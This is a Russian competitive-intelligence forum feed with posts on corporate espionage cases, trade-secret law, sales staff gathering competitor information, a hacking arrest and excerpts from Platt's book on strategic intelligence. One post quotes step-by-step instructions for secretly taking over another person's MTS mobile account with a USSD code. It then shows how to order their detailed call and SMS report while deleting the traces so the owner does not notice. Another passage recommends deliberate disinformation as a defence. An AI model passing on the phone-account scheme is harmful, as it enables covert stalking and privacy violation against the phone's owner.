Не отстает и старушка-Европа. Шумный скандал поднялся несколько лет назад вокруг двух “ мыльных ” компаний. В стремлении постичь секрет знаменитых шампуней Organics и Sunsilk компания Procter & Gamble наняла детективов, которые исследовали содержимое мусорных контейнеров конкурента. Вскрывшиеся факты едва не стоили P&G репутации. Дело обошлось несколькими десятками миллионов штрафа… Сотрудниками отдела слежения также пришлось пожертвовать.

Не ушли в прошлое и старые добрые методы похищения бумажных носителей. Во Франции были похищены за одну ночь сотни килограммов технической документации, содержащей секрет производства специального лака для авиационной промышленности.

Против “ взлома ” нет приема?

Конкурентная разведка – это не только узнавать чужие секреты, но и хранить собственные. И приставка “ контр -” мало что меняет. Способов защиты информации и способов сравнительно честного ее получения сегодня существует примерно одинаковое количество. Остается держать ухо востро и ожидать удара с любой стороны .

Меньше всего руководители ожидают “ подлянки ” от собственных сотрудников. Даже от бывших.

И напрасно. Несправедливо уволенный, обойденный, поруганный шефом менеджер, постарается на полную катушку. В случаях с менеджерами высшего звена защитить информацию можно лишь с помощью ее детальной регистрации. Это довольно утомительно. Многие руководители предпочитают держать сотрудников на “ информационной диете ” . Что ведет к распространению домыслов и слухов внутри компании и подрывает общий дух. Впрочем, из многих зол приходится выбирать меньшее.

Можно и просто ничего никому о себе не сообщать.

Но лучшая защита информации – нападение. Сообщайте свои секреты первым. Только делайте это так, чтобы всех запутать.

Это, как вы уже поняли, называется “ дезинформация ”. Вещь тонкая, применяется всегда совершенно сознательно. Лишь профессионалы КР могут определить грамотно сработанную “ дезу ”.

Одним из первых “ профи ” по дезинформации был много раз помянутый китайский полководец Сунь-Цзы. Сказав, что “ любая война основана на обмане ” , он “ раскрыл ” обманные методы ведения военных действий. Это было в 400 году до нашей эры.

Спустя несколько тысяч лет мало что изменилось.

Закон о тайне рассекречен

16 августа 2004 года вступил в силу Федеральный закон от 29.07.2004 N 98-ФЗ “ О коммерческой тайне ”. Коммерческую тайну (КТ) Закон определяет как конфиденциальность информации, позволяющей ее обладателю увеличить доходы, избежать неоправданных расходов, сохранить положение на рынке.

КТ может составлять научно-техническая, технологическая, производственная, финансово-экономическая или иная информация (в том числе составляющая секреты производства (ноу-хау)), которая имеет действительную или потенциальную коммерческую ценность в силу неизвестности ее третьим лицам, к которой нет свободного доступа на законном основании и в отношении которой обладателем такой информации введен режим коммерческой тайны.

Право на отнесение информации к информации, составляющей коммерческую тайну, принадлежит лицу, осуществляющему предпринимательскую деятельность, – обладателю такой информации.

Кодекс РФ об административных правонарушениях (статья 13.14) предусматривает ответственность за разглашение информации, доступ к которой ограничен федеральным законом (за исключением случаев, если разглашение такой информации влечет уголовную ответственность), лицом, получившим доступ к такой информации в связи с исполнением служебных или профессиональных обязанностей. Это правонарушение влечет наложение административного штрафа на граждан в размере от пяти до десяти минимальных размеров оплаты труда, а на должностных лиц – от сорока до пятидесяти МРОТ.

Уголовный кодекс РФ (статья 183) предусматривает ответственность за:

а) собирание сведений, составляющих коммерческую тайну, путем похищения документов, подкупа или угроз, а равно иным незаконным способом;

б) незаконное разглашение или использование сведений, составляющих коммерческую тайну, без согласия их владельца лицом, которому она была доверена или стала известна по службе или работе.

Перечисленные деяния наказываются, в зависимости от мотива, величины ущерба и тяжести последствий, штрафом разной величины, лишением права занимать определенные должности или заниматься определенной деятельностью, либо лишением свободы на срок до десяти лет.

Государство поможет

… вам найти интересную информацию о конкуренте, а конкуренту – о вас. Прозрачность отчетности – то, за что так долго боролись – может выйти вам боком.

И налоговая инспекция ( УМНС ), и Госкомстат, и государственное бюро регистрации, и КУГИ располагают кое-какой информацией, которая может быть использована вами – или против вас. Так, вы сможете купить сведения об интересующей вас компании, хранящиеся в Едином госреестре юридических лиц, а также копию учредительных документов. Можно по официальному прайсу купить и всю базу всех юрлиц, состоящих на учете в госреестре. Конечно, суммы собранных налогов, равно как и сведения о налогооблагаемой базе, официально вам не продадут.

Зато кое-что из “белой” бухгалтерской отчетности (баланс и отчет о прибылях и убытках, размер и состав основных и оборотных средств) вы сможете очень недорого заказать в региональном отделе Госкомстата. Здесь же – информацию о количестве работников. Всё о правах недвижимость, которой владеет конкурент, вам готово предоставить Государственное бюро регистрации. С помещениями, арендуемыми у КУГИ, сложнее – официально КУГИ “справок не дает”.]]> Mon, 04 Jan 2010 23:51:18 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=828 New Intelligence. http://www.a-rsb.ru/forum/index.php?showtopic=810 http://www.ibm.com/ibm/ideasfromibm/us/sma...112/index.shtml (англ.)

Основные его отличия от Business Intelligence (1.0):
- работа с огромными массивами глобально-распределленых данных;
- работа с "плохими" данными - неочищенными, ненормированными, неполными, противоречивыми и постоянно меняющимися в отличие от тех, которые лежат в реляционных базах данных компаний и с которыми работает классический Business Intelligence;
- Интернет рассматривается как открытая база данных;
- работа с данными в реальном или почти реальном времени;
- новые алгоритмы обработки данных, отличные от классического статистического анализа и искусственного интеллекта - то, что называют cognitive computing;
- использование терминологии и моделей квантовой механики;
- результат анализа выдается в формате рекомендуемого действия.]]> Wed, 28 Oct 2009 08:44:34 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=810 Как в сети сохранить тайну. http://www.a-rsb.ru/forum/index.php?showtopic=811 ЗДЕСЬ

На самом деле, пользователь в Сети оставляет достаточно следов для того, что бы максимально быстро был обнаружен и "за ушко вытащен на солнышко"
Ваши комментарии коллеги?]]> Thu, 29 Oct 2009 14:11:34 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=811 Методы получения СМС с чужого телефона http://www.a-rsb.ru/forum/index.php?showtopic=816 Понятно, что 999% предложений в сети о программах-перехватчиках, это ЛОХОТРОН!!! Есть техническое обоснование задачи.
Предлагаю специалистам прокомментировать. Выкладываю "как есть"

Цитата
Значитца так!
1.набраешь с телефона (с которо нужна детализация) *111*25# и посыл вызова
2. приходит смс (там тея просят придумать пароль от 4 до 7 цифр ты придумываешь набираешь отправляешь) и УСЁ ЭТОТ ТЕЛ ТЕЕ БОЛЬШЕ НЕ НУЖЕН!!! времени 1 минута НО НЕЗАБУДЬ УДАЛИТЬ ИСХОДЯЩИЙ ВЫЗОВ И ВХОДЯЩУЮ СМС!!!! (не пались)
3. Заходишь на сайт мтс выбиоаешь нужный регион и заходишь в этот регион! (не забудь) открываешь интернет помощник вводишь ЛОГИН (номер телефона без dirol.gif ПАРОЛЬ (который придумал и отправил) ставишь галочку что согласен и УСЁ ТЫ ЗАШЕЛ
4. Заказываешь (заказ документов) детализированный отчет по балансу (там всё по шагам расписанно) ОН БЕСПЛАТНЫЙ
СМС НА ТЕЛЕФОН НЕ ПРИХОДЯТ (если конечно сама хозяйка эт не установила НО ТЫ МОЖ ПРОВЕРИТЬ ЭТО - смотришь список услуг которые подключены)
ЗАКАЗЫВАТЬ МОЖЕШЬ РАЗ В СУТКИ
СОВЕТ: ОТЧЕТ ОТПРАВЛЯТЬ ЛУЧШЕ СЕБЕ НА ПОЧТУ
5. Через минуту тебе приходит детализированный отчет!!!!!
НЕЗАБЫВАЙ ЧИСТИТЬ АРХИВ ЗАПРОСОВ (в интернетпомщнике)

]]> Sun, 08 Nov 2009 22:46:09 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=816 Как бежать из «Гугла» http://www.a-rsb.ru/forum/index.php?showtopic=812
«Фронт» — появившийся недавно справочник Dataliberation.org, набор инструкций, как вытащить из «Гугла» письма, документы и все остальное. Заявленная цель — дать пользователям возможность контролировать личные данные и в любой момент покинуть службы компании. Очень остроумное решение: в результате мы любим этих людей и доверяем им еще больше. Плюс ненавязчиво знакомимся со способами наоборот — перенести на «Гугл» свои данные с других сайтов.

Сейчас на Dataliberation.org 25 инструкций, как более-менее быстро, иногда в два-три клика, экспортировать на диск, альтернативный сайт или программу персональную информацию из 25 сервисов. Почта, документы, посты из блога, закладки, календарь, контакты, RSS-подписки, видеоролики, фотографии, история поиска и даже истории болезни из Google Health. Потрясающий вид открыватся, если представить, что это не какие-то там сервисы, а большая часть нашей жизни, которую мы отдаем этим людям на хранение.

И да, инструкции Dataliberation.org на английском — пользуйтесь переводчиком сайтов «Гугла».

]]> Thu, 29 Oct 2009 14:24:59 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=812 Роль специалистов по продажам в КР http://www.a-rsb.ru/forum/index.php?showtopic=804 Уважаемые коллеги!Консультант и бизнес-тренер в области менеджмента, продаж, маркетинга Алексей Колик www.alexkolik.ucoz.com прислал мне свою статью: Роль специалистов по продажам в конкурентной разведке. Предлагаю ее прочитать , оценить и обсудить. Возможно будут интересные дополнения, либо наоборот - здоровая критика.

В условиях кризиса роль конкурентной разведки стала еще более важной. Конкуренция усилилась, и наличие качественной информации о конкурентах позволяет получить значительные преимущества. В первую очередь сбором информации о конкурентах занимаются специалисты по конкурентной разведке, маркетологи. Но, не только они должны заниматься сбором информации о конкурентах. К этой важной работе необходимо подключать максимальное количество персонала. Каждый может узнать что-то на своем направлении деятельности. Специалисты по продажам находятся на передовом рубеже и их возможности довольно значительны. Правда, на практике ситуация такова, что многие «продавцы» практически не выполняют никаких других функций помимо контактов с клиентами с целью продаж продукта. Они считают, что если продажи «работают», то их обязанности исчерпаны в полной мере. Что же необходимо сделать для того, чтобы привлечь «продавцов» к ведению конкурентной разведки в интересах предприятия?
Нет сомнения в том, что на первом этапе необходимо объяснить им, что формирование информационного банка данных о конкурентах нужно им самим. Поскольку даже в ходе переговоров с клиентами они постоянно стоят перед необходимостью иметь соответствующую информацию. Они должны быть готовыми, что им нужно быстро найти аргументы на возражения клиентов типа: «А ведь продукт конкурента имеет преимущества перед вашим», «Система ценообразования конкурентов более гибкая и мы получаем хорошие скидки», «Конкурент предоставляет отсрочки платежа в 90 дней, а вы нет» и т.д. Значит, необходимо иметь качественную информацию для того, чтобы грамотно доказывать свои преимущества, аргументировать. Вот и получается, что «продавцы» сами нуждаются в информации о конкурентах. Наиболее убедительным для них будет упоминание о практических примерах применения информации о конкурентах, которая помогла решить возникшую проблему.
На втором этапе необходимо составить перечень информации, которую будут собирать «продавцы», подготовить формы заполнения и определить методы, с помощью которых они будут ее добывать. По всей видимости, этот этап будет ключевым, поскольку представляет собой по сути планирование исследовательской работы. Любой человек, который занимался какими либо исследованиями, знает, что как подготовишься к исследованию такие результаты и получишь. Полевой этап, как правило, носит подчиненный характер по отношению к методологическому этапу, планированию. Известно, что в традициях разведывательной деятельности подготовка разведчика занимает продолжительное время, слишком поспешная и поверхностная подготовка может привести к провалу всей миссии. Венцом второго этапа должно стать обучение специалистов по продажам, тренинги, которые позволят перейти от пассивной формы изучения материала к активной работе.
Затем приходит время полевого этапа сбора информации, после которого следует обобщение и анализ полученных данных. Логика этой деятельности во многом напоминает логику маркетингового исследования, где объектом исследования выступают конкуренты. Целью данной статьи не является перечисление всей информации о конкурентах, которую могут собрать специалисты по продажам. Только перечисление всех разделов такой информации потребует написания отдельной книги. В статье мы уделим внимание некоторым методам сбора информации о конкурентах, которые имеют прямое отношение к специалистам по продажам. Итак, каким образом может быть собрана соответствующая информация?
Во-первых: специалисты по продажам должны периодически заполнять стандартные формы, которые содержат перечень стандартной информации, которая обновляется с определенной периодичностью. Она может включать сведения, которые были получены из любых источников. Например, раздел «Новая информация об имеющихся конкурентах». В нее может быть занесена информация полученная во время переговоров с потенциальным контрагентом о том, что у конкурента А произошли изменения в руководящем составе, а конкурент В ищет на рынке оборудование для производства нового продукта и т.д. Также стандартная форма может содержать следующие разделы: «Информация о появлении нового конкурента», «Новый прайс-лист конкурента», «Информация о проведенных рекламных акциях конкурентами», «Новая информация в прессе о конкурентах» и т.д. Как правило, такие формы заполняются ежемесячно и сдаются специалистами по продажам вместе с ежемесячными отчетами руководителю отдела продаж. В организации может быть издан соответствующий приказ директора, который будет регламентировать заполнение данной формы.
Во-вторых: специалисты по продажам могут проводить интервью с дистрибуторами, специалистами ритейла, в которых будут задавать вопросы о конкурентах. Именно специалисты по продажам могут быть в данном случае самыми лучшими интервьюерами, поскольку они лучше всех знакомы с дистрибуторами, специалистами ритейла. У них сформировались более доверительные отношения. Интервью может быть как формализованным, так и неформализованным. Оно может быть проведено при личной встрече, по телефону, с помощью Интернет. Все зависит от поставленной при исследовании цели и готовности респондента отвечать на вопросы. В таком интервью могут быть заданы вопросы об объемах поставок, ассортименте, ценах, методах поставок и транспортировки конкурентов. Важно задать вопросы об удовлетворенности работы с конкурентами, выяснить их возможные недостатки. Именно проведение интервью требует предварительного тренинга, поскольку большая часть специалистов по продажам не имеет соответствующей подготовки в интервьюировании. Особенно это важно учесть при проведении неформализованного, глубинного интервью.
В-третьих: перед специалистами по продажам необходимо ставить задачи сбора информации о конкурентах на выставках. Выставка всегда позволяет собрать большой массив информации за короткое время. Любое посещение выставок должно сопровождаться изучением стендов конкурентов, выставленной на них продукции, получением их каталогов, прайс-листов, рекламной продукции. На выставке конкуренты могут проводить презентации, конференции, на которых можно получить большой объем полезной информации. Помимо того вопросы о конкурентах могут быть заданы в ходе выставки посетителям собственного стенда, специалистам торговли, наконец, у одних конкурентов можно спросить других. Участие в выставке требует всесторонней подготовки, в том числе и подробного инструктажа специалистов по продажам о формах и методах, с помощью которых они будут изучать конкурентов. Часто необходим и специальный тренинг. Для обобщения всей собранной информации должен быть подготовлен отчет об участии в выставке.
В-четвертых: специалисты по продажам могут собирать информацию о конкурентах в любой нестандартной ситуации. Даже во время вечеринки с друзьями они могут услышать что-то новое о конкурентах. Важно отнестись к такой информации внимательно, не забыть о ней. Проезжая на автомобиле по улице можно увидеть новый рекламный щит конкурентов и сфотографировать его. В гипермаркете можно стать очевидцем рекламной акции конкурентов и сфотографировать его промоутеров за работой. Всегда может оказаться, что водитель нанятой для перевозки фуры, в прошлый раз перевозил груз конкурентов и может рассказать много интересного о них. Таким образом, есть большое количество различных источников информации. Важно только неформальное, заинтересованное отношение специалистов по продажам к сбору информации о конкурентах.
Между тем, не все люди способны к столь сознательному отношению к данной работе. В связи с эти возникает вопрос определенной мотивации персонала. С одной стороны должный контроль руководителя, соответствующие приказы и распоряжения направляют персонал на выполнение работы. С другой стороны есть возможность поощрения тех специалистов, которые выполняют эту работу самым лучшим образом. Действительно, одними призывами трудно реально влиять на отношение к рабочим обязанностям. Например, может быть премирован «продавец», который в течение года больше других преуспел в изучении конкурентов. Такого рода премирование демонстрирует важность этого направления деятельности, доказывает «продавцам», что руководители, действительно, уделяют ему серьезное внимание.
Большое значение для решения вопроса о сборе специалистами по продажам информации о конкурентах имеет успешность коммуникации руководителя отдела продаж с руководителем отдела маркетинга, руководителем службы конкурентной разведки (при наличии таковой в организации). В случае их согласованных действий удается достигнуть желаемого результата. Необходимо также отметить, что изучение конкурентов должно быть выделено в плане маркетинга организации на год. В нем должны быть учтены мероприятия, которые будут проводить и маркетологи с специалисты по продажам.
Выводы:
- изучение конкурентов является важной функцией специалистов по продажам
- методы сбора информации о конкурентах разнообразны
- специалистов по продажам необходимо обучать сбору информации о конкурентах и мотивировать их на данную работу
- изучение конкурентов должно быть учтено в плане маркетинга.]]> Tue, 20 Oct 2009 08:38:21 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=804 Суд арестовал подозреваемую во взломе сайта http://www.a-rsb.ru/forum/index.php?showtopic=752
Суд постановил заключить Юрову под стражу, ее подозревают по части 2 статьи 272 УК РФ - "неправомерный доступ к компьютерной информации", которая предусматривает наказание до пяти лет лишения свободы.

Как пояснила адвокат Киркорова Татьяна Акимцева, следствие ведет дело о неправомерном доступе через компьютер к личной информации певца.

"По данным следствия, группа лиц, которые в разные периоды работали в компании Киркорова, пользовались его доверием, имели доступ в офис и квартиру, взломали компьютер Киркорова, неправомерно завладели его персональной базой данных с целью дискредитации певца, шантажа и вымогательства", - сказала она.

По словам адвоката, подозреваемые от имени певца рассылали фальсифицированные письма, в которых содержались оскорбления, многим известным людям.

Акимцева считает, что в ходе следствия Юровой дополнительно предъявят обвинение в нарушении тайны личной жизни и личной переписки.

"Я надеюсь, что этот прецедент заставит задуматься шантажистов и вымогателей, задумывающих подобные преступления", - отметила она.

19:23 10/06/2009

ИСТОЧНИК
]]> Wed, 10 Jun 2009 22:42:23 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=752 Кейс. Как выявляется фальсификация в ЖЖ http://www.a-rsb.ru/forum/index.php?showtopic=756 Источник - блог Евгения Ющука "Конкурентная разведка"

В сентябре 2008 года в этом блоге я разместил материал "Кейс: Выявляем информационный вброс в форум. Или как вирусный маркетинг становится форумным спамом".
Там цитировалась фраза, написанная одним из участников Форума Бизнес-разведчиков: "Сейчас наблюдаю за достаточно уже обширным распространением нового бренда тройки диалог в сети. Как мне кажется это была попытка создать что-то вроде вирусного маркетинга, но настолько топорная, что провал наверное явный. Дам лишь несколько ссылок, а то честно говоря не хочется вступать в эту компанию горе пиарщиков, тем более что мне-то не проплачивали smile8.gif
_ttp://forum.investpark.ru/showthread.php?t=3852
_ttp://julia-0302.livejournal.com/260841.html". И затем приводились конкретные примеры работы "компании горе-пиарщиков" в интересах компании "Тройка-диалог". Кому интересно - можете посмотреть по ссылке.
Сегодня история имела продолжение, которое мне показалось любопытным.

В комментариях к посту появился(ась) блоггер julia_0302, пост которой упоминался в цитате с форума. Мадам в свойственной ей манере открестилась от своего поста. И отпиралась даже от того, что вообще знает словосочетание "Тройка-Диалог". Вот как это выглядело (все картинки кликабельны).



И действительно, при переходе на пост _ttp://julia-0302.livejournal.com/260841.html создавалось впечатление, что дама права.



Однако RSS-лента в Блогах Яндекса свидетельствовала о том, что мадам - врушка smile.gif



А кэш без проблем показывал, что врет она эмоционально, но глупо



В общем, если кому-то нужен тролль - пусть невысокого качества, но шумный - рекомендую. Только много ей не платите - такая сама спалится и вас спалит, скорее всего. А вот для абсурдизации конкурента, на роль пушечного мяса такие кадры годятся. Подумайте - возможно, это то, что вам нужно.
Тройка-Диалог же, по моему мнению, в данном случае просто ступила. Вряд ли это тот оттенок узнаваемости, который ей был нужен.

Ну, а всем остальным рекомендую использовать эту несложную схему для выявления фальсификаций в Живом Журнале.

UPDATE: В связи с тем, что многим читателям особенно понравилось слово "тролль", я специально уточняю: этот пост - о том, как можно проверить (т.е., подтвердить или опровергнуть) утверждение блоггера о том, что он не писал тот или иной пост в своем блоге. А не о том, является или не является троллем тот или иной житель блогосферы smile.gif]]> Sat, 13 Jun 2009 11:29:32 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=756 Разведка, Конкурентная разведка и книга Плэтта http://www.a-rsb.ru/forum/index.php?showtopic=730 Разведка, Конкурентная разведка и мой конспект генерала Плэтта.
Источник - сайт Конкурентная разведка

Автор: Ющук Евгений Леонидович

Прежде всего, позвольте напомнить разницу между разведкой и конкурентной разведкой. Разведка - это прерогатива государственных органов.

Выдержка из ФЗ "О внешней разведке"

Статья 2. Разведывательная деятельность.
Разведывательная деятельность осуществляется органами внешней разведки Российской Федерации

Таким образом, бизнес никак не может заниматься разведывательной деятельностью. Точно так же, как и Оперативно-розыскной деятельностью (ОРД).

Более того, разведка любой страны предназначена для того, чтобы проникать в охраняемые иностранным государством секреты. А значит - нарушать чужое уголовное законодательство по тяжкой статье "Шпионаж" в интересах и по поручению своей страны. Это нормальная, общеизвестная практика межгосударственных отношений.

Бизнес, в свою очередь, заинтересован в применении максимально большого перечня методов государственных разведок. Потому что разведка использует очень простые, но крайне эффективные методы. Но бизнес ограничен рамками законодательства.
Поэтому пришлось проводить адаптацию методов разведки к бизнесу. Принципиально, эта адаптация заключалась в изменении некоторых методов работы, или вообще в отказе от некоторых методов работы разведки.
Однако бОльшая часть методов работы разведки легальна и может быть перенесена в бизнес в неизмененном виде. Так появилась конкурентная разведка (она же - деловая разведка, бизнес-разведка, коммерческая разведка, корпоративная разведка и т.п.).

Вашингтон Плэтт - участник двух мировых войн и бригадный генерал армии США - писал не о конкурентной разведке, а о государственной разведке. Под этим углом зрения я и рекомендую читать его книгу. Ибо уже есть прецеденты, когда те, кто пытался буквально трактовать Плэтта для целей бизнеса, чуть не попали под серьезные проблемы. Хорошо, что хоть вовремя одумались и включили задний ход, вернувшись в рамки Закона. А могли и не успеть.


Ниже - сделанные мною, Евгением Ющуком, выдержки из книги генерала Вашингтона Плэтта"Стратегическая разведка. Основные принципы":


Представители деловых кругов также, может быть, заинтересуются некоторыми новейшими достижениями работников стратегической разведки. Ведь они так же, как и разведчики, сталкиваются с вопросом: что могут и что станут делать другие люди?...


Разведывательную деятельность для удобства ее рассмотрения можно подразделить на добывание материала на месте (легальными и нелегальными путями), составление разведывательной информации и рассылку ее заинтересованным лицам...

Составление разведывательной информации по определенному вопросу включает подбор и систематизацию фактов, касающихся данного вопроса (добывание материалов на месте сюда не относится), оценку, отбор и истолкование фактов, а затем их четкое и продуманное изложение в устной или письменной форме, завершающее процесс составления разведывательной информации. По мере ознакомления с книгой читатель получит более полное представление об этом процессе...

Разведчик должен добиться многого, располагая ограниченными возможностями. В его распоряжении имеется немного испытанных методов, приемов, средств, специально выработанных — на основе практического опыта или в результате исследовательской работы — для применения в разведке...

Когда разведчик исходит из необоснованных предположений, использует непроверенные методы и легковесные заявления, часто на свет появляются внешне убедительные документы, ценность которых на деле является весьма сомнительной. Утверждения, из которых не видно, в какой мере мы уверены в их достоверности, часто вводят в заблуждение. Например, доказательства, основывающиеся на аналогии, доступны и могут быть полезны, но вместе с тем и чреваты ошибками. Однако нам не следует отказываться от возможно более полного использования ценных приемов только потому, что в них таятся некоторые опасности, если мы знаем, как их избежать...
Определение разведывательной информации

Разведывательная информация есть осмысленные сведения, основанные на собранных, оцененных и истолкованных фактах, изложенных таким образом, что ясно видно их значение для решения какой-либо конкретной задачи текущей политики. Это определение подчеркивает разницу между «сырыми» материалами и окончательной продукцией информационной работы, которой так гордятся разведчики.

Элементы информации стратегической разведки:
1. Научная информация, включающая сведения о естественных науках и здравоохранении, научных кадрах,

возможности науки содействовать развитию промышленности и организации исследовательской работы (к науке относится также инженерно-строительное дело).

2. Географические сведения, включающие данные о по¬годе, климате и океанографии.

3. Сведения о транспорте, дорогах и средствах связи. Экономическая информация, включающая сведения о промышленности, финансах, занятой рабочей силе.

4. Военная информация (исключая данные войсковой
разведки).

5. Социологическая информация, включающая сведения о населении, религии, образовании, национальных традициях и моральном духе народа.

6. Политическая информация, включающая сведения о системе государственного управления, политических партиях, внешней политике.

7. Информация относительно различных деятелей.




...необходимо уметь не разбрасываться, проявлять трезвость суждений и сосредоточивать внимание на важнейших проблемах. Действительно, одна из главных трудностей информационной работы стратегической разведки состоит в том, чтобы... определить, насколько далеко должно быть обращено исследование в прошлое, и установить, где должна проходить граница интересов стратегической разведки.


...информационная работа — это процесс, в результате которого сырые факты превращаются в законченную продукцию разведывательной деятельности, предназначенную для органов, осуществляющих или вырабатывающих политический курс страны. Сюда же относятся все виды деятельности, связанной с планированием, контролем и координацией информационной работы и редактированием информационных документов...


Общие принципы обычно не удается уяснить и использовать до тех пор, пока они не будут рассмотрены с точки зрения их применения в определенных целях.


Теоретически работа почти над любой проблемой может потребовать всей жизни разведчика, если он будет заниматься всеми вопросами, прямо или косвенно связанными с нею. Сотруднику информационной службы свойствен соблазн слишком далеко уходить в сторону от основной темы. Этому соблазну наиболее подвержены те, кого особенно интересует изучаемая проблема и кто обладает наиболее широкими познаниями в данной области. Для того чтобы обеспечить необходимое время для разработки ключевых вопросов, с самого начала следует отказаться от рассмотрения многих интересных, но не имеющих существенного значения побочных вопросов. Многие работники информации никак не могут усвоить это важное правило.


...при выполнении данного специального задания все внимание вы должны сосредоточить на изучении только самых важных вопросов.
Далее, в поисках материала вы, как обычно, используете досье, библиотеки и другие источники информации, делаете заметки, производите оценку и предметную классификацию полученных сведений. В результате, естественно, выясняется необходимость провести дополнительные изыскания в большем или меньшем масштабе в той или иной области.
После этого вы пытаетесь оценить и истолковать имеющиеся данные и установить, в какой степени они дают ответ на вопрос о состоянии метеорологической службы в Китае. Если китайцам, например, известны последние достижения в области составления прогнозов погоды, то чем это подтверждается на практике? Имеются ли вообще такие подтверждения? Можно ли их добыть?
Именно здесь проявляются подлинные способности 'метеоролога-разведчика, отличающие его от специалиста-метеоролога, не имеющего опыта информационной работы в разведке. Именно здесь приносит свои плоды высокое профессиональное мастерство и непрерывная работа в данной области разведки. Именно здесь сотрудник информации может испытать волнующее чувство удовлетворения плодами своего труда, свидетельствующими о его высоком профессиональном мастерстве.
Наконец вы пишете доклад, постоянно помня при этом о том, кто будет его читать, и стараясь дать будущему читателю то, что ему нужно, в понятной для него форме, подчеркнув особо важные моменты и соответствующим образом оговорив утверждения, вызывающие сомнения. Таковы в общих чертах задачи и формы информационной работы разведки, которые далее будут рассмотрены более обстоятельно...


Тем средством, с помощью которого разведка оказывает влияние на проведение и разработку политики, является Информация, представляемая в устной или письменной форме...

Любое количество фактов, обработанных наилучшим образом — снабженных индексами, занесенных в досье,— не имеет какой-либо ценности до тех пор, пока сотрудник информации не раскроет смысла этих многочисленных фактов, не сопоставит их и не передаст в другие ведомства в такой форме, в которой их значение будет совершенно ясным.
Некоторые работники информационной службы являются по складу характера собирателями фактов. Они очень гордятся собираемой массой фактов, касающихся изучаемого вопроса. Это хорошо. Но они не склонны к аналитической работе, к обобщению этих фактов, а это очень плохо.

Часто стимулом для разведчика является сознание того факта, что он ведет умственный поединок с контрразведкой другого государства, стремящейся помешать разведчику выяснить интересующий его вопрос. Наконец, побудительным мотивом в деятельности разведчика является необходимость привлечь внимание того, кому адресована разведывательная информация, и довести до него свои мысли, точно указав степень достоверности информации и правильно подчеркнув главное.

Взгляды представителей различных специальностей отличаются друг от друга в основном тем, что каждый из них в своих исследованиях делает упор на различные моменты — в этом как раз и заключается коренная разница между ними.


Основной формой разведывательного информационного документа является доклад, который может называться «Разведывательная сводка» или «Информационная справка», или как-нибудь иначе.

Научное исследование преследует цель — расши¬рить границы человеческих знаний.
Непосредственная полезность научного труда уже в дан¬ный момент имеет второстепенное значение или вовсе не учитывается. Ученый рассчитывает, что исследование будет в определенной мере способствовать повышению его пре¬стижа как специалиста. Он связывает успех исследования со своей репутацией ученого. Здесь важнейшее значение имеет точность и полнота исследования в пределах установ¬ленных рамок.
В качестве примера научного исследования можно при¬вести труд С. Э. Морисона «Адмирал океана», в котором дается всеобъемлющее описание жизни Колумба [11]. Работа над этой книгой продолжалась в течение нескольких лет и потребовала проведения широких исследований на местах и в библиотеках. Книга была издана в 1942 году, но она имела бы такую же научную ценность независи¬мо от того, вышла бы она в свет в 1932 или в 1952 году. Этим она отличается от обычного информационного доку¬мента.
Другим типичным примером научного труда является исследование Хайгета, посвященное Ювеналу . Предварительные исследования и непосредственная работа над этой книгой заняли пятнадцать лет. Если взять область естественных наук, то в любом номере научного журнала можно найти типичные примеры аналогичных научных трудов. Полезность и ценность излагаемых в них фактов не зависит от даты публикации.


Каждый раз мы обнаруживаем, что в информационных документах нашей стратегической разведки преобладаю¬щее значение имеют факторы полезности и своевременности представляемой информации, о чем более подробно будет сказано ниже...
...многие разведчики, вполне естественно, упускают из виду принципиальное отличие информационного документа от научного труда, написанного, например, профессором истории.
Различие заключается в той цели, для которой пишутся эти работы.



ПОЛЕЗНОСТЬ —ВАЖНЕЙШИЙ КРИТЕРИЙ ЦЕННОСТИ РАЗВЕДЫВАТЕЛЬНОЙ ИНФОРМАЦИИ
Источник энергии всегда должен рассматриваться конструктором в связи с тем, для каких целей его рассчитывают испольвовать. Величайший в мире водопад не может заставить работать мотор самолета.
Люкк, профессор Колумбийского университета, 1921.

В отличие от научного труда информационный документ разведки преследует одну цель: он должен быть полезен для обеспечения государственных интересов уже в данный момент.
Говоря о полезности разведывательной информации, мы имеем в виду, что она должна способствовать расширению наших познаний и нашего понимания вопросов, прямо или косвенно связанных с обеспечением национальной безопасности. Прежде всего она должна помочь решить ту проблему, которая стоит на повестке дня в данный момент. Мы не имеем при этом в виду ценность информации для определенной партии или ее полезность с чисто академической точки зрения, хотя при других обстоятельствах эти качества также могут быть ценными.
Некоторые офицеры информации не признают важности критерия полезности в указанном смысле и не понимают, насколько необходим его учет в нашей информационной работе.

Полезность разведывательной информации определяется многими качествами К их числу, безусловно, относятся такие два качества, как полнота и точность информации. Однако иногда полнота и точность могут быть частично принесены в жертву ради ее своевременности. Своевременность вообще имеет для информационных документов большее значение, чем для чисто академических трудов. Это, как и многое другое, особенно наглядно видно на примере войсковой разведки. Приказ по дивизии о переходе в наступление всегда содержит данные разведки о противнике. Ясно, что информация, переданная разведывательным отделом дивизии в батальоны до начала наступления, является более полезной, чем полная схема неприятельских позиций, сообщенная после окончания наступления. Аналогичные примеры можно было бы привести и применительно к стратегической разведке.

«Информационный документ разведки всегда должен рассматриваться в связи с тем, в каких целях его рассчитывают использовать».
Говоря о целях, в которых предполагается использовать информационный документ разведки, мы должны, таким об¬разом, иметь в виду основное назначение документа и его основных читателей. Если документ составляется как основа для действий высших звеньев государственного аппарата, например для Национального совета безопасности, он должен быть кратким, убедительным и общедоступным.
Такими же качествами должны обладать информационные документы для других органов, определяющих политику. Если же такой документ готовится в качестве справочного материала для других разведчиков-исследователей, степень его полноты и специализированное может не ограничиваться. Назначение документа является критерием для суждения о нем.
Офицер информации может многое сделать для того, чтобы информационный документ заслуживал внимания, если в процессе работы над ним он все время будет помнить о цели и назначении документа — короче говоря, если он будет писать его, думая о тех людях, для которых он пред¬назначается. В современных условиях, когда всячески стремятся сберечь время лиц, для которых готовятся те или иные документы, особое значение приобретает тщательная формулировка выводов. От качества выводов зависит, будет ли информационный доклад разведки иметь успех или нет, и это вполне справедливо.


Второе обстоятельство, о котором нельзя забывать, говоря о полезности информационного документа, может быть выражено в форме вопроса: стоит ли доклад усилий, затрачиваемых на его составление?

